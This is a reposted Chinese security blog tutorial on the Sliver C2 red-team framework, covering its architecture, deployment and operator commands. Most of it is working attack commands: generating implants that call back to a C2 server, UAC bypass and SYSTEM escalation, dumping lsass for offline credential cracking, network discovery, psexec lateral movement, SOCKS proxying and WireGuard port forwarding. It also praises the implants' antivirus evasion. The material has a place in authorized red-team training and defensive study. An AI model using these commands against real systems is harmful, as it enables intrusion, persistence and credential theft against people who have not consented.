红队工具研究篇 - Sliver C2

admin 2023年5月15日01:05:10评论269 views1字数 5014阅读16分42秒阅读模式

深入浅出介绍 Sliver C2 开源跨平台红队框架

红队工具研究篇 - Sliver C2

一、关于 Sliver C2

什么是 C2?

Command and control(C2)框架允许攻击者充分利用对计算机系统或网络的现有访问,用于后渗透阶段(是在获取初始权限后的阶段)。

什么是Sliver C2?

Sliver C2 是一个开源的跨平台红队框架。

常见的术语:
implant - 用于保持访问权限的软件,通过使用C2命令
beacon - 1 一种通信模式,定期连接C2服务器;2 CS beacon
Stage - 载入的方法,阶段式或非阶段式

提供了两种操作模式

  1. Beacon mode:实现了一种异步通信方式,定期(1min)检查通信情况

  2. Session mode:实现了实时会话方式

优势:

  1. 免杀能力极强

  2. 模块化,提供了多种扩展,如armory可以安装各种第三方工具(BOF、.NET 工具等)

  3. 多操组员模式

  4. 开源

  5. 支持多平台(Linux, Windows and MacOS)

Sliver C2 架构

主要由四部分构成:

  • 服务器控制台 - 服务器控制台是主界面,通过 sliver-server 可执行文件启动,所有操作代码都在客户/服务器控制台之间共享;服务器控制台通过一个gRPC接口与服务器进行通信。

  • Sliver C2 服务器 - Sliver C2 服务器是 sliver-server 可执行文件的一部分,管理内部数据库,启动和停止网络监听器。与服务器交互的主要接口是gRPC接口,所有的功能都是通过它实现的。

  • 客户端控制台 - 客户端控制台是用于与Sliver C2服务器互动的主要用户界面。

  • 植入物 - 植入物是在目标系统上运行的恶意代码(exe、ps1等)。
    各部分的关系及交互形式可由如下图展示出来:
    红队工具研究篇 - Sliver C2

与CS的比较

这个在线表格总结除了市面上几乎所有的C2工具的能力对比,可以参考阅读下。
红队工具研究篇 - Sliver C2

二、部署 Sliver C2

仓库地址 - Releases · BishopFox/sliver (github.com)
官方建议 Server 最好部署在 Linux 上(不建议WIndows)
直接找到对应版本下载Server和Client版本即可。

Sliver有两个外部依赖的可选功能:MinGW和Metasploit。

  1. 要启用DLL有效载荷(在Linux服务器上),你需要安装MinGW。

  2. 要启用一些MSF集成功能,你需要在服务器上安装Metasploit。

三、Sliver C2 使用手册

3.1 极速上手

以http通信为例,在获取目标初始权限后,创建监听器,生成对应架构的Implant,上传执行

# 启动
./sliver-server_linux
# 创建监听器
http -l 9001
# 生成Implant/Payload
generate --http http://172.16.181.182:9001 --os windows

受害机上执行,成功回连,免杀确实很强
红队工具研究篇 - Sliver C2
回连信息:
红队工具研究篇 - Sliver C2
使用 use 进入交互
红队工具研究篇 - Sliver C2
后续就是进一步的操作了,这里给出一张图,描述了后渗透的进攻思路及流程,熟悉Sliver的兄弟可以直接跳转到后渗透利用部分。
红队工具研究篇 - Sliver C2

3.2 功能详细介绍

Implant | 植入物

Sliver C2支持多种平台,可以用 --os 标志来改变编译器目标。Sliver C2也接受任何 Golang GOOS 和 GOARCH作为参数 --os 和 --arch

# 生成不同架构的Implant
generate --http http://172.16.181.182:9001
generate --mtls 172.16.181.182:443 --os windows --arch amd64
generate --mtls 172.16.181.182:443 --os linux --arch amd64
generate --mtls 172.16.181.182:443 --os mac --arch arm64
# 查看所有Implant信息
implants
# 重新生成指定Implant
regenerate --save . [Implant Name]

红队工具研究篇 - Sliver C2

Listener | 监听器

启动监听器用于接收获取目标主机回连的shell,支持如下协议:

  • mTLS
    相互传输层安全(mTLS)是一个建立加密TLS连接的过程,其中双方都使用X.509数字证书来验证对方。

  • HTTP

  • HTTPS

  • DNS

  • Wireguard

# 启动指定协议的监听器,配置端口
mtls -l 443

红队工具研究篇 - Sliver C2

Sessions | 会话

当目标主机执行我们刚刚生成的 Implant 时,控制台中会显示一条信息,使用 use 命令连接进去,就可以进行基本的控制操作了。常见操作与我们使用 windows 和 linux 差不多,可以参考 HELP 中的提示。

use [sessions ID]

红队工具研究篇 - Sliver C2

Beacons | 信标

和 Sessions 不同的是,在生成载荷的时候需要添加 beacon 参数,如下:

generate beacon --http http://172.16.181.182:9002
http -l 9002

红队工具研究篇 - Sliver C2

# 实时查看beacons的通信情况
beacons watch

红队工具研究篇 - Sliver C2

Armory | 扩展管理器

Armory是Sliver Alias and Extension软件包管理器,它允许你自动安装各种第三方工具,如BOF和.NET工具。工具的清单可以在 Github 上找到。
安装第三方工具命令如下:

armory install rubeus

Multiplayer | 多操作员模式

生成配置文件及开启多操作员模式

# 添加操作员,生成配置文件
new-operator --name x1gua --lhost 172.16.181.182
# 启动多操作员模式,及指定端口
multiplayer
multiplayer -l 8848

红队工具研究篇 - Sliver C2
在另一台操作端上导入配置文件及连接 Sliver 服务端(这里以macos为例)

./sliver-client_macos import x1gua_172.16.181.182.cfg
./sliver-client_macos

红队工具研究篇 - Sliver C2

3.3 后渗透利用 - Windows

Execution | 执行命令

获取到控制权后,一些常见的命令执行:

# 开启一个命令行窗口shell
shell
# 执行命令
execute -o ipconfig
# 启动一个新进程运行指定命令
runas -p "ipconfig.exe" -u "xigua" -P "123.com"

红队工具研究篇 - Sliver C2

Privilege Escalation | 权限提升

绕过 UAC 及获取 SYSTEM 权限

# 上传文件并执行,绕过uac提权 [这里似乎失败了]
upload /root/Desktop/uac.ps1 "C:UsersAdministratorDesktopuac.ps1"
execute -o powershell -ExecutionPolicy Bypass -File "C:UsersAdministratorDesktopuac.ps1"
getsystem

红队工具研究篇 - Sliver C2

Persistence | 持久化

进程迁移

# 查看进程列表信息
ps
# 进程迁移
migrate 3108
# 切换进程
use 244e1361

红队工具研究篇 - Sliver C2

Credential Access | 凭据访问

导出 lsass.dump 信息,离线破解,需要 SYSTEM 权限。

# 导出lsass信息 [需要system权限]
procdump --pid 664 --save lsass.dump
kali> pypykatz lsa minidump lsass.dump

Discovery | 深入探索

获取网络邻居缓存条目

# 原生命令
Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress
# Sliver中执行
execute -o powershell "Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress"

红队工具研究篇 - Sliver C2

Powershell 中进行 ping 扫描探测存活

# 1
99..102 | foreach { '10.10.1.${_}: $(Test-Connection -TimeToLive 64 -Count 1 -ComputerName 10.10.1.${_} -Quiet)' }

#
2
99..102 | foreach {(New-Object System.Net.NetworkInformation.Ping).Send("10.10.1.${_}", 1000)}

其余的和内网渗透一致,这里就不展开了

Lateral Movement | 横向移动

这里以 psexec 横向移动为例,进行演示。

# 创建配置文件
profiles new --format service --skip-symbols --mtls 172.16.181.182 psexec_test
# 执行psexec攻击
psexec -profile pentest --service-name pentest -service-description pentest red.team

本地环境,有些配置没有开启
红队工具研究篇 - Sliver C2

Command&Control | 内网穿透

Socks Proxy | 内网代理

Sliver C2 中搭载了内置的 Socks5 命令,用于快速创建 Socks 代理

socks5 start -P 9001

红队工具研究篇 - Sliver C2

这里是在客户端中执行的,有个疑问就是为什么可以在客户端上开启 socks 而不是在服务器,稍微复杂。

在浏览器中设置代理
红队工具研究篇 - Sliver C2

在内网机器上开启简易http服务来测试
红队工具研究篇 - Sliver C2

Wireguard | 端口转发?

参考 - Port Forwarding(github.com)

端口转发为例:
创建监听器,生成Implant

# 开启WireGuard监听器
wg --lport 9100
# 生成对应的Implant
generate --wg 172.16.181.182:9100 --os windows --arch amd64 --format exe

执行上线,对端的地址就配置为了100.64段
红队工具研究篇 - Sliver C2

添加端口转发,转发目标主机3389端口

wg-portfwd add -r 172.16.181.139:3389

红队工具研究篇 - Sliver C2

导出 wireguard 配置文件,在其中的 Endpoint 字段设置为 Sliver 服务端的WireGuard监听器。

wg-config -s /usr/local/etc/wireguard/wireguard.conf

Address = 100.64.0.8/16
ListenPort = 51902
PrivateKey = uG6A0qrE95iboIM33RdkzXrKX1a99M3PcCHHm+hAyGg=
MTU = 1420
[Peer]
PublicKey = 4FcKBOGCHP2jvnDHZyo8Ga/iulFf0SvRzjOP85/k+DM=
AllowedIPs = 100.64.0.0/16
Endpoint = 172.16.181.182:9100

安装 WireGuard 工具,建立通信

# MacOS
brew install wireguard-tools
# Linux
apt install wireguard-tools

启动 WireGuard 工具

wg-quick up wireguard

红队工具研究篇 - Sliver C2
开启后就可以远程连接了
参考:wall/在mac上使用wireguard-tools (github.com)

3.4 安全配置

端口修改

修改服务端配置文件,修改为非常见常见端口

vi ~/.sliver/configs/server.json

红队工具研究篇 - Sliver C2
如果生成了多操作员的配置文件,在其中修改端口选项

vi ~/.sliver-client/configs/x1gua_172.16.181.1.cfg

红队工具研究篇 - Sliver C2

四、后续研究

通过本文,相信读者已经可以自行部署 Sliver C2 及快速上手,多实验几次就会对其中常见的功能和命令了如指掌。
但是!
这只是 Sliver C2 研究的开始,之所以可以被称作为 Cobalt Strike 的替代品,必然有其过人的能力,在后续的文章中,将介绍它的扩展功能,包括但不限于使用BOFs and COFFs、各协议通信时数据包分析、植入物免杀能力的深入研究和实战中的利用等,总之,关于这款工具的使用技巧将会慢慢分享出来。

转载:https://forum.butian.net/share/2243作者:xigua欢迎大家去关注作者


红队工具研究篇 - Sliver C2 点击下方小卡片或扫描下方二维码观看更多技术文章红队工具研究篇 - Sliver C2

红队工具研究篇 - Sliver C2

师傅们点赞、转发、在看就是最大的支持


原文始发于微信公众号(星冥安全):红队工具研究篇 - Sliver C2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:05:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队工具研究篇 - Sliver C2http://cn-sec.com/archives/1723710.html

发表评论

匿名网友 填写信息